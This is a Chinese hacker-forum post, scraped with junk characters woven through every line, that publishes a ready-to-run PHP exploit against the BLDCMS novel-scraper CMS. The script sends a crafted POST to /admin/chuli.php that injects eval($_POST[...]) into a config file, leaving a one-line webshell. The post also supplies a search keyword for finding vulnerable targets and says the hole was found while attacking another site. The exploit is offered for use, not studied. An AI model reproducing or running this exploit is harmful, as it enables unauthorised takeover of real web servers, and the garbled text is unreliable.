之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
6 s) X! z4 |3 h; ~2 p4 B
$ g7 p3 |* P- I" @3 L ) E6 }& A8 x0 u# m/ T
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
3 D" [% ~0 N4 B/ P: ?
% b8 G/ |' R7 ^" H# P# W9 m既然都有人发了 我就把我之前写好的EXP放出来吧* `) h* U* U. x. { K, v
. m7 `" `1 @: }7 p0 {: X& cview source print?01.php;">
5 Y1 A4 [" \+ v# }- g02.<!--?php! M6 z; Y& A# Z# S3 d" p) X
03.echo "-------------------------------------------------------------------5 X7 V; y5 U! f3 z2 J" A* F
04. ; T1 Q% L0 S* o8 b0 O$ s6 \9 K, C
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP f" K- a2 s( L
06. 1 ]& L8 u. G# L
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
* w3 }" `1 @% S2 Y0 t" I! B08.
1 x% _5 f+ p$ B8 z" e09.QQ:981009941\r\n 2013.3.21\r\n 4 R, _1 l4 o5 n: ^) I7 m1 J
10. ) \% A! b- B7 y1 O" s
11. ( c! t0 n% v) g, _7 v
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码; o: j0 X3 L0 ^6 U) ]! [, b
13.
$ |0 \ B" q1 ~, p- x0 l14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------6 Q0 A- c V" J0 _
15.
1 j, m$ q' X2 L16.--------------------------------------------------------------------\r\n";- q3 [" x+ S6 w R( q1 h* r1 W
17.$url=$argv[1];4 n7 u5 ^( y. q- i* j* E
18.$dir=$argv[2];" `# c) N8 c$ N
19.$pass=$argv[3];4 E ]: W+ f# @
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';: {. D! ^1 f8 P
21.if (emptyempty($pass)||emptyempty($url))
- q& N% O! H* w2 w" m/ S) b' W7 f$ b22.{exit("请输入参数");}
, a& a3 W+ G. y3 c7 ^23.else t+ l7 v ?( A
24.{1 W4 B) ^) L, k/ u7 I* \
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
' k9 W: b9 f9 o6 r/ c26. 7 Q' p2 g R0 `' p i- i( u# L* x2 U
27.al;
, \# f8 W! p! M. N! n. v( r& W28.$length = strlen($fuckdata);" P& x' ]9 S; P, h
29.function getshell($url,$pass)8 V: N; C: ^0 a; R2 f
30.{
; V$ \% z& I) t: a31.global $url,$dir,$pass,$eval,$length,$fuckdata;* M1 J9 g; W) X! G' ~& U
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";8 ^/ ~" h- R1 A9 @ J
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
% O A4 e ^/ V9 o2 B( B! Q6 ~3 G34.$header .= "User-Agent: MSIE\r\n";$ n! x+ \- L1 A
35.$header .= "Host:".$url."\r\n";
; k9 g& J3 a/ I5 A36.$header .= "Content-Length: ".$length."\r\n";
$ F8 f3 j2 Y; y7 c: {/ `37.$header .= "Connection: Close\r\n";" ?( V6 K' l+ s! Z0 w
38.$header .="\r\n";. ?# h1 b3 P6 ~9 ]6 e
39.$header .= $fuckdata."\r\n\r\n";
+ R& r/ E8 m# h) Z40.$fp = fsockopen($url, 80,$errno,$errstr,15);' j* U+ i' l0 H% O( R- B a
41.if (!$fp)1 G6 F5 c# L8 \0 k: h
42.{3 F& u/ B$ y/ X+ J1 p. X
43.exit ("利用失败:请检查指定目标是否能正常打开");
+ `; p! r" r6 A& l' t6 Q44.}" }) O( u0 H- B* k% e+ x
45.else{ if (!fputs($fp,$header)), N# H- A, ?! ~' A; I0 ?
46.{exit ("利用失败");}
( e( M) N5 |* X0 j+ C47.else
C: d0 O2 i1 U6 M* g% h8 x48.{
, u/ p% }5 R) P0 k! P7 U0 o2 u49.$receive = '';
) l3 Z. i, |: x( {0 t# G50.while (!feof($fp)) {9 x7 u b; y! @* u0 E% h- V+ E: M
51.$receive .= @fgets($fp, 1000);- |: v$ z4 ^* n( c6 n0 W; b- \
52.}- {2 {! q) t; n9 X w! a
53.@fclose($fp);
9 o! P: O* L& r4 p2 g54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标 a' {3 i' p! d% O* {. F
55. " T( M, Q! b: D+ ?0 [
56.GPC是否=off)";
. p7 s" X2 Q; F/ A, A57.}}
/ n6 ?# l" M2 v, s- S2 {! w* R/ Y. `1 D58.}
) H5 X" [1 @0 z* M0 f) `- V59.}/ M7 e ~! q7 `. }, [0 i
60.getshell($url,$pass);$ e9 o: L+ Z2 @) }
61.?-->
4 L8 j0 J9 E% S. ?0 q" T. B8 ^
$ m$ R, F: a4 |6 N8 |' A' e& y: k+ n i. @' w& @% E
# h5 g. P. s! h3 b' z" B6 x2 y
by 数据流% T+ R5 [3 W& g0 j5 M7 q
|